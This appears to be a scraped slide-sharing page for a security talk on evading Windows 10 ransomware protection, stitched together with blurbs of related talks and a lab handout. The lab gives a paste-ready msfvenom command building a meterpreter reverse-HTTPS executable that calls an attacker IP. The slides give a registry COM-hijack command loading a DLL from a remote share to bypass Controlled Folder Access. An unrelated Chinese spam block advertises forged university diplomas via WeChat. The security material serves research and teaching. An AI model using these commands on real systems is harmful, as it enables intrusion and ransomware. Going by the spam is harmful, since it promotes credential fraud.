An Inconvenient Truth: Evading the Ransomware Protection in Windows 10
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The WannaCry cyber-attack all over the world in May, 2017 is still fresh in our minds. The malware encrypted and rendered useless hundreds of thousands of computers in over 150 countries. As a measure against ransomware, Microsoft introduced the function "Ransomware protection" in "Windows 10 Fall Creators Update". How does this function work? Is it really effective? In this talk, I will explain the operation principles of "Controlled folder access" of "Ransomware protection" through demonstration video. Then I show the requirements to avoid this function, and describe that this function can be avoided very easily. And I will ask you that we may have to reconsider the definition of vulnerability.
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In the Windows 10 Fall Creators Update, we introduced Windows Defender Exploit Guard (WDEG)—a feature suite that enables you to reduce the attack surface of applications while allowing you to balance security with productivity in a realistic manner. With WDEG's smart attack surface reduction (ASR) rules and exploit protection, we are looking to provide security hardening for popularly used applications without losing sight of the complex environments being managed in most organizations. But what are these security hardening options? And how do we anticipate they will be put to work?
In this talk, we will discuss why and how we embarked upon the WDEG journey, starting all the way from our passionate Enhanced Mitigation Experience Toolkit (EMET) customers, through the conception of the WDEG feature set, to the internal mechanics behind the rich set of protections it offers. We will also demonstrate how WDEG's smart ASR rules and exploit mitigation settings can be used to reduce the likelihood of exploitation of commonplace legacy applications, now directly from Windows 10. CHAPTER 3 BASIC DYNAMIC ANALYSIS.ppt
This document discusses various tools and techniques for performing basic dynamic malware analysis, including sandboxes, Process Monitor, Process Explorer, and Regshot. It explains how sandboxes like GFI Sandbox can provide initial analysis of malware but have limitations. Process Monitor and Process Explorer allow monitoring processes, registry changes, and other activity in real-time. Regshot facilitates comparing registry snapshots before and after malware is run.
Security by Weston Hecker
There has been a Ransomware explosion the last 6 years and there have been very little done to stop infections aside from deprecated signature scans and classic malware scanner. Weston will go over a couple proof of concepts that work on even the most current versions of the malware stop from fully infecting the machines that would otherwise be infected with malware that demands 1000s of dollars in some instances. Weston will go over several methods of making your system immune to attacks from ransomware many of them were discovered from actually reverse engineering the malware early this year. Weston will also go over several open source tools to test your environments impact from malware such as Cryptowall and several tools both software and hardware that can protect your systems from malware infecting even methods of abusing the payment gateway system to allow you to get more than one file unlocked for free and Weston will also go into the research about breaking the encryption based on the outputted encrypted files.
2019: A Local Hacking Odyssey - MITM attack against password manager @ BSides...
The document describes a local privilege escalation technique discovered by Soya Aoyama that allows gaining administrator privileges on Windows systems without user account control (UAC) prompts. It works by replacing a legitimate DLL loaded by Explorer.exe with a malicious one, which then exploits the CompMgmtLauncher process to execute code with elevated privileges without UAC. Microsoft was notified but did not pay a bug bounty as it was determined to not be a vulnerability.
Catching Multilayered Zero-Day Attacks on MS Office
Over the past few years attacks leveraging Microsoft Office documents have become a weapon of choice for APT attacks. Office documents are popular not only with APT. It doesn’t take much time for malware authors to integrate novel techniques into their own Exploit Kits and attack ordinary users. Our statistics shows that only during 2018 amount of exploits attempts targeting MS Office increased by 4 times, making it the most targeted application in the world.
In this presentation we would like to take a look at one of the most recent zero-day attacks against this platform, CVE-2018-8174, that introduced a completely new attack vector. Zero-day exploit utilized a technique to load an Internet Explorer engine component right into the process context of MS Office and exploited an unpatched VBScript vulnerability without any user interaction. This new technique changes current threat landscape, as vulnerabilities that previously could only be exploited from a browser in a drive-by-attack scenario can now be also abused from an Office document.
This, and many other vulnerabilities was discovered with the help of our sandbox technology, that is proven to be very effective in catching even sophisticated, multilayered zero-day threats. In this presentation we would like to reveal how Sandbox can be utilized to catch this and many others zero-day attacks with our exploit and vulnerability detection system in our sandbox that is part KATA (Kaspersky Anti Targeted Attack Platform).
Cloudoc against ransomware_Eng
Cloudoc against ransomware
Net-ID has advanced know-how through various projects since the beginning of the document centralization market in 2009. In particular, we have provided products to more than 50 new customers each year for three years from 2014 to 2017, with an average annual growth rate of 36%.
Experts Live Europe 2017 - Best Practices to secure Windows 10 with already i...
AppLocker, Windows Information Protection, Device Guard, Windows Defender Application Guard- there are many ways to secure Windows 10. Not all ways are compatible with Enterprise requirements. In the session, we will have a look at what we are able to do and I will add some experiences from the field about what works well and what doesn’t. In addition, we will check how ConfigMgr can support us.
Meeting02_RoT.pptx
This document discusses various types of ransomware and ransomware of things (RoT). It describes traditional ransomware types like crypto, locker, and hybrid ransomware and how they work. It then explains how these ransomware types apply to IoT devices and systems, with crypto ransomware being more dangerous for backend servers and locker ransomware altering device functionality. Examples are given of specific ransomware like PadCrypt, Cryptolocker, and DMA Locker. Mitigation strategies and the security of different IoT framework layers are also outlined.
Crisis. advanced malware
The Crisis malware is an advanced malware that infects both Windows and Mac computers. It has the ability to steal browser history, contacts, audio/visual recordings and more. It spreads initially through a signed Java applet and then installs core modules and drivers onto the infected system. Both Windows and Mac versions share similar information stealing and command and control capabilities. The Windows version uniquely targets virtual machines by mounting and infecting VM disk images, and can also steal social media and email account information. The malware authors remain anonymous but the code quality suggests it was intended for espionage or private investigation.
mcloudoc brochure eng
Document leakage / ransomware response / privacy protection / drawing protection / telecommuting at once with mcloudoc!
Key technical documents such as drawing design data and program source codes exposed to threats of leakage are encrypted and stored safely in a central document box, and unlawful input / output is completely controlled to realize seamless corporate assetization. In addition, it protects ransomware as well as securely stores and protects all personal information.
Defending Workstations - Cyber security webinar part 2
The document discusses strategies for cybersecurity defenses against attacks. It notes that while attackers may seem powerful, they are actually constrained by resources and need vulnerabilities to exploit. It recommends techniques like hardening systems, applying patches, minimizing exposed software, using endpoint detection systems, and pretending to be in a malware analysis environment to discourage attacks. The overall message is that simple changes can make a system much harder to attack than the typical unmodified configuration that attackers rely on.
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10: Malware Creation and Denial of Service (DoS)
In this lab, you will create a malware by using the Metasploit Framework. You will also launch as Denial of Service (DoS) attack.Section-1: Create a Malware
Hackers usually create malicious files for different purposes, such as command and control, defense evasion, and persistence. Pentesters create malicious files for ethical purposes, such as performing tests to check the strength of the existing countermeasures. In this lab, you will create a malicious file, and you will explore the strategies to evade the antivirus systems.
Method-1: Create a malicious file by using msfvenom
1) Log in to Kali VM on your personal computer (as set up in Lab 1).
2) Open a terminal window by clicking the terminal icon on the taskbar.
3) Type
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f exe -o ethical.exe in terminal window and press enter.
You can copy this command and paste it to the terminal window of the Kali VM.
4) After running this command, a file named
ethical.exe will be created.
Notes:
msfvenom is a command-line tool within the Metasploit Framework. It is used to create payloads such as malicious executables such as shellcodes and reverse shells. This page shows the different kinds of malicious shells that can be made by using msfvenom. Have a look at the headings:
https://burmat.gitbook.io/security/hacking/msfvenom-cheetsheet. If you want to learn more about msfvenom, refer to
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
LHOST (Local Host): Specifies the attacker's IP address. When the victim runs this executable, it will establish a connection to that IP address. The IP address is 10.10.10.10. It is a randomly selected IP, and you will not connect to that IP in this lab.
LPORT (Local Port): Specifies the port on which the attacker machine (10.10.10.10) will listen to incoming connections from the victim machine. In this example, when the victim runs the executable, the victim's computer will create a connection to port 443 at the attacker machine (10.10.10.10). After the victim makes a connection to the attacker machine, the attacker can start performing malicious activities, including controlling the victim machine, accessing sensitive information, deleting files, etc.
Using port 443 in this malicious activity is the safest way for hackers because it is one of the ports that is not blocked by the firewalls and routers on the Internet and LANs (Local Area Networks). It is the default port for TLS traffic. (Mostly encrypted web traffic)
Msfvenom uses reverse_https payload to create a malicious file. The malicious file will then make a reverse https connection between the victim's and the attacker's computers once initiated by the victim.
The other parameters of msfvenom are relatively more straightforward. x86 specifies t.
Ransomware
Ransomware is malware that locks devices or encrypts files to extort money in return for access. It is a growing threat for businesses. The document provides 11 steps to prevent ransomware infections, including regularly backing up important data, keeping software updated, training employees, and using security software with features like LiveGrid cloud protection. It also advises what to do if devices are already infected, recommending against paying ransoms.
Toorcon - Purple Haze: The Spear Phishing Experience
Given at Toorcon 21 (2019), this presentation covers spear phishing from both an attacker's and defender's perspective.
Remote control system (rcs)
RCS Console is the GUI to manage and browse data collected on the RCSDB. Data is gathered on the Collection Node (ASP) that is captured by several backdoors configured to synchronize to that Collection Node. A backdoor instance is the software that is installed on a target device to collect several
kind of information in order to conduct an investigation. Backdoor can be configured to collect different kind of information, i.e. it has different agents enabled. Each agent is responsible of collecting a single kind of information or
performing a single task. A backdoor class is an abstraction of the backdoor instances. It contains only the configuration the instances will get the first time they synchronize with the collection node.
Similar to An Inconvenient Truth: Evading the Ransomware Protection in Windows 10 (20)
An inconvenient truth: Evading the Ransomware Protection in windows 10 @ LeHack
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Null mumbai Session on ransomware by_Aditya Jamkhande
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◇申请留学生创业基金
留信网认证的作用:
1:该专业认证可证明留学生真实身份
2:同时对留学生所学专业登记给予评定
3:国家专业人才认证中心颁发入库证书
4:这个认证书并且可以归档倒地方
5:凡事获得留信网入网的信息将会逐步更新到个人身份内，将在公安局网内查询个人身份证信息后，同步读取人才网入库信息
6:个人职称评审加20分
7:个人信誉贷款加10分
8:在国家人才网主办的国家网络招聘大会中纳入资料，供国家高端企业选择人才
办理(sdsu毕业证书)圣地亚哥州立大学毕业证【微信：741003700 】外观非常简单，由纸质材料制成，上面印有校徽、校名、毕业生姓名、专业等信息。
办理(sdsu毕业证书)圣地亚哥州立大学毕业证【微信：741003700 】格式相对统一，各专业都有相应的模板。通常包括以下部分：
校徽：象征着学校的荣誉和传承。
校名:学校英文全称
授予学位：本部分将注明获得的具体学位名称。
毕业生姓名：这是最重要的信息之一，标志着该证书是由特定人员获得的。
颁发日期：这是毕业正式生效的时间，也代表着毕业生学业的结束。
其他信息：根据不同的专业和学位，可能会有一些特定的信息或章节。
办理(sdsu毕业证书)圣地亚哥州立大学毕业证【微信：741003700 】价值很高，需要妥善保管。一般来说，应放置在安全、干燥、防潮的地方，避免长时间暴露在阳光下。如需使用，最好使用复印件而不是原件，以免丢失。
综上所述，办理(sdsu毕业证书)圣地亚哥州立大学毕业证【微信：741003700 】是证明身份和学历的高价值文件。外观简单庄重，格式统一，包括重要的个人信息和发布日期。对持有人来说，妥善保管是非常重要的。
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An Inconvenient Truth: Evading the Ransomware Protection in Windows 10
- 1. An Inconvenient Truth: Evading the Ransomware Protection in Windows 10
- 2. My Profile 1992 ~ 2014 software developer of Windows. 2015 ~ security researcher - 2016 AVTOKYO - 2017 BSides Las Vegas - 2018 GrrCON - 2018 ToorCon - 2018 DerbyCon 2018 ~ BSides Tokyo Organizer - 2018 first BSides in East Asia SOYA AOYAMA Researcher @ Fujitsu System Integration Laboratories Ltd Fujitsu Security Meister, High Master, Global White hacker Organizer @ BSides Tokyo
- 4. May 12, 2017
- 5. May 12, 2017
- 6. Microsoft's answer to Ransomware
- 7. TANMAY GANACHARYA Principal Group Manager, Windows Defender Research Ransomware protection on Windows 10 For end users, the dreaded ransom note announces that ransomware has already taken their files hostage: documents, precious photos and videos, and other important files encrypted. On Windows 10 Fall Creators Update, a new feature helps stop ransomware from accessing important files in real-time, even if it manages to infect the computer. When enabled, Controlled folder access locks down folders, allowing only authorized apps to access files.
- 10. The truth is …
- 11. Windows system folders are NOT protected by default.
- 13. The truth is …
- 15. app folders Ransomware protection Mechanism allowed apps Explorer Protected folders Documents Pictures PowerShell System32cmd Word
- 16. You ain't heard nothin' yet!
- 17. app folders Simple Idea allowed apps cmd Explorer Protected folders Documents Pictures PowerShell System32 Word
- 18. YAGO JESUS MICROSOFT ANTI RANSOMWARE BYPASS By default, Office executables are included in the whitelist so these programs could make changes in protected folders without restrictions. This access level is granted even if a malicious user uses OLE/COM objects to drive Office executables programmatically. So a Ransomware developer could adapt their software to use OLE objects to change / delete / encrypt files invisibly for the files owner
- 19. My method is …
- 20. Only using a bat file
- 23. • HKCR = HKLM Software Classes + HKCU Software Classes • HKLM Software Classes < HKCU Software Classes (In case of duplication)
- 24. {90AA3A4E-1CBA-4233-B8BB-535773D48449} • HKLMSOFTWARE Classes CLSID • HKCU Software Classes CLSID
- 25. HKCR %SysteRoot%system32shell32.dll Explorer.exe Shell32.dll HKCU HKLM %SysteRoot%system32shell32.dll Malicious.dll User’s Files ServerShareMalicious.dll ServerShareMalicious.dll File encryption process Sharing File
- 26. I submitted the vulnerability report to MSRC • Step-by-step instructions to reproduce the issue on a fresh install 1. Put the malicious dll on shared file server. (10.0.1.40shareAnti-ControlledFolderAccess.dll) 2. Start the cmd.exe on target PC. (An administrator privilege is NOT required) 3. Execute the following command. 4. Start the procexp.exe on target PC. reg add HKCUSoftwareClassesCLSID{90AA3A4E-1CBA-4233-B8BB-535773D48449} InprocServer32 /f /ve /t REG_SZ /d 10.0.1.40tmpAnti-ControlledFolderAccess.dll taskkill /IM explorer.exe /F start explorer.exe
- 28. How about other antimalware application?
- 34. No antimalware application can block my malware
- 35. How to avoid it? always check if malicious values are written in the registry.
- 36. Ransomware protection PC BPC A security boundary Ransomware protection MS17-010 Documents Pictures Videos Music Desktop Favorites security vulnerability new boundary
- 37. We should reconsider the definition PC BPC A security boundary Ransomware protection security vulnerability security sub boundary security sub vulnerability Documents Pictures Videos Music Desktop Favorites